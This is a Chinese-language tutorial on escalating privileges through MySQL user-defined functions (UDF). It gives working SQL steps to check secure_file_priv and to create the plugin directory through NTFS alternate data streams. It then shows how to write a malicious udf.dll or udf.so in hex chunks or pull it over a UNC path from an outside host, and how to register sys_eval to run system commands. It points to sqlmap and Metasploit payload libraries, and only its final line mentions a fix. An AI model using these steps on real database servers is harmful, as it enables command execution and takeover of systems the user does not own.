UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
这就意味着,我们可以通过udf为mysql添加任意功能,包括自定义sql函数,tcp开发,http请求,甚至直接调用系统命令;
secure_file_priv是用来限制into dumpfile,into outfile.load_file()能在哪个目录下导出或者读取文件的,所以该值为空是我们利用udf提权的首要条件。
当secure_file_priv的值为NULL时表示不允许导入导出,这个时候不能提权
当secure_file_priv的值为空时表示没有限制,可以任意导入导出,这个时候可以提权
当secure_file_priv的值为某个目录时,表示只能在这个文件夹下面导入导出,这时候不能提权
查看secure_file_priv值
show variables like '%secure_file_priv%';
在MYSQL 4.1以前的版本中,可以将任意位置的DLL的任何函数都注册到MYSQL里面以供MYSQL调用。
Any/udf.dll
在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。
Any/udf.dll
在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\, (使用环境变量中的路径)
C:/windows/system32/udf.dll
Mysql5.1及以上版本,必须将DLL文件上传到mysql安装目录下的lib\plugin文件夹下才能创建自定义的函数。(备用数据流创建目录)
mysql\lib::$INDEX_ALLOCATION
mysql\lib\plugin::$INDEX_ALLOCATION
lib/plugin/udf.dll
1.当前有insert和delete权限或具备root账号所具备的条件也可以。
2.secure_file_priv为空
1、查看secure_file_priv的值是否为空
2、查看系统架构及plugin插件目录,确定使用x86还是x64的udf
查看主机版本及架构
show variables like '%compile%';
show variables like '%plugin%';
如果plugin值中的目录不存在的话可以手工创建该文件夹。
3、准备udf.dll
Sqlmap中的UDF
MetaSploit中的UDF
自开发UDF
这里介绍前两种,下篇文章专门写一下第三种
Sqlmap中的UDF.dll位于sqlmap/data/udf/mysql目录下,包含64位和32位liunx和windows系统下利用的动态链接库文件
sqlmap中自带的动态链接库为了防止被杀软误杀都要经过编码处理,不能直接使用。使用之前需要先用sqlmap自带的解码工具cloak.py(extra/cloak目录下)解码
metasploit中自带的动态链接库位于
/user/share/metasploit-framework/data/exploits/mysql目录下,包含64位和32位liunx和windows系统下利用的动态链接库文件
4、写入/上传UDF.dll
如果有Webshell权限,直接创建lib/plugin然后上传udf.dll即可
如果没有则需要使用备用数据流创建目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS再次创建plugin目录
在本地将udf.dll十六进制编码
select hex(load_file('udf.so')) into outfile "udf.txt";
使用into dumpfile写入
Select 0x00 into dumpfile "any/mysql/lib/plugin/udf.so";
由于数据过长,需要将其分段写入。先创建一个表,将十六进制数据分段写入表中,最后将含有数据的那个字段导出到udf.so,:
create table temp(data longblob);
insert into temp(data) values (0x0);
update temp set data = concat(data,0x00);
update temp set data = concat(data,0x00);
select data from temp into dumpfile "any/mysql/lib/plugin/udf.so";
也可以使用load_file远程加载在写入(这种要使用unc路径)
select load_file('\\\\8.8.8.8\udf.so') into dumpfile "any/mysql/lib/plugin/udf.so"
总之这一步就是不管通过什么方法,只要可以将udf.dll写入plugin目录即可
5、导入函数
create function sys_eval returns string soname 'udf.so';
6、调用函数
select sys_eval('whoami');
7、删除函数
drop function sys_eval;
修复比较简单
将secure_file_priv设置为NULL即可